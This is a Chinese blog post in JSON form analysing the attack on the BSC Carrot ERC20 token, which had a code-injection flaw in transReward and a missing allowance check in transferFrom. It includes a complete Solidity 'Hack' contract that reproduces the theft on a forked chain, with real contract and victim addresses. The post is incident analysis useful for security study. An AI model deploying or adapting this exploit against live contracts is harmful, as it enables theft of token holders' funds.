{"content":{"title":"Bsc代币Carrot攻击事件分析","body":"Carrot是一个[ERC20代币](https:\/\/learnblockchain.cn\/article\/3672)，漏洞存在于代币的合约中。合约中存在两个漏洞代码注入和逻辑错误，通过漏洞利用,可以达到转移任意用户的Carrot代币。利用过中还涉及一个未开源的pool合约。一句话总结漏洞利用过程：利用代码注入漏洞Carrot合约通过调用pool合约的方法成为pool合约的owner，利用逻辑漏洞绕过转账时的授权检查。\r\n\r\n# 基本信息\r\n\r\n攻击者、攻击合约\r\n\r\naccount\t0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c\thackEoa\r\naccount\t0x5575406ef6b15eec1986c412b9fbe144522c45ae\thackCon\r\n\r\n存在漏洞的合约\r\n\r\nCarrot合约：0xcFF086EaD392CcB39C49eCda8C974ad5238452aC　\r\n\r\npool合约，未开源: 0x6863b549bf730863157318df4496ed111adfa64f\r\naccount\t0x6863b549bf730863157318df4496ed111adfa64f\tvulPool\r\n\r\n# 漏洞原理\r\n\r\n漏洞类型为：代码注入和逻辑错误。\r\n\r\n漏洞主要存在两个地方：\r\n\r\n1. 代码注入。`transReward`函数可以达到执行任意pool合约的目的。\r\n2. 逻辑错误。使用的REC20合约中的`transferFrom`函数中的对满足_isExcludedFromFee的用户，没有授权的判定。\r\n\r\n漏洞1：代码注入。导致任意人可以调用pool合约的代码，从而可以改变pool合约的owner。\r\n\r\n漏洞存在于Carrot合约中`transReward`函数中，该函数为public函数，可以通过传递data参数调用pool合约，pool合约未开源。\r\n\r\n```bash\r\nfunction transReward(bytes memory data) public {\r\n        pool.functionCall(data);\r\n    }\r\n```\r\n\r\npool合约中存在`0xbf699b4b` 的函数，该函数可以设置pool合约的owner\r\n\r\n漏洞2:逻辑错误。`transferFrom`函数中满足免税的用户，直接_transfer了，而没有进行approve的判断，从而所有Carrot代币的用户，都可以被转走。\r\n\r\n```solidity\r\nfunction transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) public virtual override returns (bool) {\r\n\r\n        _beforeTransfer(_msgSender(),recipient,amount);\r\n        \r\n        if(_isExcludedFromFee[_msgSender()]){\r\n            _transfer(sender, recipient, amount);\r\n            return true;\r\n        }\r\n        _transfer(sender, recipient, amount);\r\n        _approve(\r\n            sender,\r\n            _msgSender(),\r\n            _allowances[sender][_msgSender()].sub(\r\n                amount,\r\n                \"ERC20: transfer amount exceeds allowance\"\r\n            )\r\n        );\r\n        return true;\r\n    }\r\n```\r\n\r\n# 攻击过程分析\r\n\r\n主要使用blocksec进行分析。\r\n\r\n1. 调用黑客合约的`0x668f0ad4`　方法\r\n2. 黑客合约直接delegatecall　0xc422f23102bf2eeb237a8f7789be6a6be3e4a251　 0x668f0ad4的方法\r\n3. 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251　 0x668f0ad4　直接调用了hackCon的　0x8d3360cc　方法 (`这里考虑是不是回调)`\r\n4. delegatecall　0xc422f23102bf2eeb237a8f7789be6a6be3e4a251　 0x8d3360cc的方法\r\n    1. hackCon将Carrot代币授权给0x9b7325a150254df59d7253885d41d8d3310f9c1a　\r\n    2. PancakeRouter将Carrot代币授权给hackCon\r\n    3. 调用Carrot.`transReward`，这个函数只有一句代码　\r\n        \r\n        `pool.functionCall(data);`\r\n        \r\n        其中pool的地址为：`0x6863b549bf730863157318df4496ed111adfa64f`\r\n        \r\n        data中传递的参数：\r\n        \r\n        给pool传递的原始数据为：\r\n        \r\n        ```bash\r\n        这里应该是弯路\r\n        0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae\r\n        应该对应两个字段：\r\n        前4个字节为函数名bf699b4b，现在未知\r\n        后面对应着一个合约地址：0x5575406ef6b15eec1986c412b9fbe144522c45ae，这个地址是黑客的攻击合约。\r\n        \r\n        所以，这里是将黑客攻击合约的地址做为参数传递给了pool合约的bf699b4b函数。\r\n        \r\n        可以使用cast calldata \"test(address)\" 0x5575406ef6b15eec1986c412b9fbe144522c45ae　看下calldata数据\r\n        ```\r\n        \r\n        <aside>\r\n        💩 PS:这个pool地址是由Carrot的官方部署的。\r\n        \r\n        <\/aside>\r\n        \r\n        通过对pool合约逆向。可以看到\r\n        \r\n        ```bash\r\n        function 0xbf699b4b(uint256 varg0) public nonPayable { \r\n            require(4 + (msg.data.length - 4) - 4 >= 32);　\r\n            0x2110(varg0);\r\n            if (_owner.code.size > 0) {\r\n                stor_3_0_0 = 1; \/\/IsOwnerContract\r\n            }\r\n            if (!stor_3_0_0) {\r\n                v0 = v1 = _owner == msg.sender;\r\n                if (_owner != msg.sender) {\r\n                    v0 = v2 = 0xff & _addLiquidity[msg.sender];　\/\/ 如果没设置owner的话，要求调用者在这个mapping中\r\n                }\r\n                require(v0);\r\n            } else {\r\n                require(_owner == msg.sender); \/\/如果设置过owner的话，要求调用者必须是owner\r\n            }\r\n            _owner = varg0; \/\/将传入的地址设置成owner\r\n        }\r\n        ```\r\n        \r\n    4. hackCon从攻击合约向Carrot合约转了0个Carrot代币。( 🤣为什么要转？)\r\n    5. 0x00b433800970286cf08f34c96cf07f35412f1161 向hackCon转了31万的Carrot代币。\r\n\r\n# 攻击复现\r\n\r\nanvil --fork-url [https:\/\/rpc.ankr.com\/bsc](https:\/\/rpc.ankr.com\/bsc) --fork-block-number 22055611\r\n\r\n```solidity\r\n\/\/ SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.13;\r\nimport \".\/interfaces\/Carrot.sol\";\r\nimport \"forge-std\/console2.sol\";\r\ncontract Hack {\r\n    address public owner;\r\n    address constant public CARADDR = 0xcFF086EaD392CcB39C49eCda8C974ad5238452aC;\r\n    address constant public PANCAKEROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\r\n    address constant public POOL = 0x6863b549bf730863157318df4496eD111aDFA64f;\r\n    constructor() {\r\n        owner = msg.sender;\r\n    }\r\n    modifier OnlyOwner() {\r\n        require(owner==msg.sender, \"OnlyOwner can\");\r\n        _;\r\n    }\r\n    function kill(address _to) public OnlyOwner {\r\n        selfdestruct(payable(_to));\r\n    }\r\n\r\n    function hackProc() public OnlyOwner {\r\n        Carrot carrot = Carrot(CARADDR);\r\n        carrot.approve(PANCAKEROUTER, ~uint(0));\r\n        \r\n        carrot.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));\r\n        carrot.transferFrom(address(this), CARADDR, 0);\r\n        \/\/ 开始从授权账户转币\r\n        address victim = 0x00B433800970286CF08F34C96cf07f35412F1161; \/\/310344736073087429864760 原始攻击使用的受害者\r\n        uint amount = carrot.balanceOf(victim);\r\n        console2.log(\"Victim:%s, carrot balance:%s\",\r\n                    victim, amount);\r\n        carrot.transferFrom(victim, address(this), amount);\r\n        \/\/ 0x0522898a86196612248aD0FE88E8De4f7156DaC3\r\n        \r\n    }\r\n\r\n}\r\n```\r\n\r\n![image.png](https:\/\/img.learnblockchain.cn\/attachments\/2022\/10\/MYeWaciz6350185f115d4.png)\r\n\r\n\r\n# 漏洞修复\r\n\r\n修复的方式\r\n\r\n1. 去掉了代码注入调用。\r\n2. 去掉了对免税者不检查approve的逻辑。\r\n\r\n新合约与旧合约代码上的改变。\r\n\r\n\r\n\r\n![image.png](https:\/\/img.learnblockchain.cn\/attachments\/2022\/10\/J8i0A7bG6350186fa0cb5.png)\r\n\r\n\r\n![image.png](https:\/\/img.learnblockchain.cn\/attachments\/2022\/10\/CVPy3jyU63501881b926f.png)\r\n\r\n\r\n新合约的pool地址为　\r\n`0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5`\r\n\r\n新的pool地址中也有一个　`bf699b4b`　的函数\r\n\r\n![image.png](https:\/\/img.learnblockchain.cn\/attachments\/2022\/10\/XSK0vBlQ635018a3519a2.png)\r\n# 几个思考\r\n\r\n1. 为什么只取了一个用户地址的代币？\r\n2. 不通过Carrot合约，直接调用pool合约的`0xbf699b4b`可以取得owner权限吗？\r\n3. 是什么时候设置的owner的？有没有可能修改这个值？怎么验证这个owner？\r\n    \r\n    合约变量存储在slot中，每个槽32字节。\r\n    \r\n\r\n对2的解答：\r\n\r\n不可以。对Carrot合约`0xcff086ead392ccb39c49ecda8c974ad5238452ac`，在pool合约中mapping变量的值为1，对其他合约`0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84`,在pool合约中mapping变量的值为0。所以其他合约在调用`0xbf699b4b`函数时，会因为mapping的原因，导致无法通过pool合约中的require检查，因此函数调用不会成功。\r\n0xcff086ead392ccb39c49ecda8c974ad5238452ac的mapping变量的值\r\n\r\n```bash\r\ncast index address 0xcff086ead392ccb39c49ecda8c974ad5238452ac 1\r\n0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3\r\n\r\ncast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3 -r $ANVIL_RPC\r\n0x0000000000000000000000000000000000000000000000000000000000000001\r\n\r\n```\r\n\r\n0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84(foundry部署的合约地址)的mapping变量的值\r\n\r\n```bash\r\ncast index address 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84 1\r\n0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb\r\n\r\ncast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb -r $ANVIL_RPC\r\n0x0000000000000000000000000000000000000000000000000000000000000000\r\n\r\n```\r\n\r\n对3的解答\r\n\r\nIsOwnerContract存储在合约的STORAGE  3中，使用cast命令可以读取到，该值为0，表示owner不是一个合约地址。\r\n\r\nowner的地址在合约的STORAGE 5中，使用\r\n\r\n```bash\r\ncast storage 0x6863b549bf730863157318df4496ed111adfa64f 5  -r $ANVIL_RPC\r\n0x0000000000000000000000008958c8689d325fd9e2a1ede3d5dc1acfcfb65742\r\n```\r\n\r\n# 参考\r\n\r\n攻击tx: 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9\r\n\r\n漏洞合约地址：0xcff086ead392ccb39c49ecda8c974ad5238452ac\r\n\r\n漏洞利用时pool合约地址：0x6863b549bf730863157318df4496ed111adfa64f\r\n\r\n新合约地址: 0xE9809e9FD9FFa2b9f52755839bE6B6F9891C50cB\r\n\r\n新合约使用的pool地址:  0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5\r\n\r\naccount　0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c　hackEoa\r\n\r\naccount　0x5575406ef6b15eec1986c412b9fbe144522c45ae　hackCon\r\n\r\n[https:\/\/phalcon.blocksec.com\/tx\/bsc\/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9](https:\/\/phalcon.blocksec.com\/tx\/bsc\/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9)\r\n\r\nFoundry的基本使用总结 [https:\/\/learnblockchain.cn\/article\/4725](https:\/\/learnblockchain.cn\/article\/4725)"},"author":{"user":"https:\/\/learnblockchain.cn\/people\/9625","address":null},"history":"QmTMx5rd3sAdnuS3JYP9w9JKVvBZ4HM2H87AvkCLXoFMYi","timestamp":1666232642,"version":1}